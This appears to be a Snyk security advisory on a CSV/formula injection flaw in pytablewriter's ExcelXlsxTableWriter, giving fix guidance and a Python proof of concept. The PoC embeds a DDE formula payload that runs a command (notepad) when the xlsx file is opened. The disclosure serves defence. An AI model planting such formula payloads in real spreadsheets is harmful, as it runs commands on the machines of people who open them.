CSV Injection Affecting pytablewriter package, versions [,0.47.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-PYTABLEWRITER-1535298
  • published1 Aug 2021
  • disclosed1 Aug 2021
  • creditrandomstuff

Introduced: 1 Aug 2021

CVE NOT AVAILABLE CWE-74  (opens in a new tab)

How to fix?

Upgrade pytablewriter to version 0.47.0 or higher.

Overview

Affected versions of this package are vulnerable to CSV Injection via the ExcelXlsxTableWriter class.

PoC

from pytablewriter import ExcelXlsxTableWriter, JsonTableWriter, HtmlTableWriter, ExcelXlsTableWriter

VALUES = [
    # These ones are OK:
    (HtmlTableWriter, "html"),
    (JsonTableWriter, "json"),
    (ExcelXlsTableWriter, "xls"),
    # Injection on this class:
    (ExcelXlsxTableWriter, "xlsx"),
]

for (Writer, extension) in VALUES:
    writer = Writer()
    writer.table_name = "test"
    writer.headers = ["x"]
    writer.value_matrix = [["=cmd|' /C notepad'!'A1'"]]
    writer.dump("test." + extension)

CVSS Base Scores

version 3.1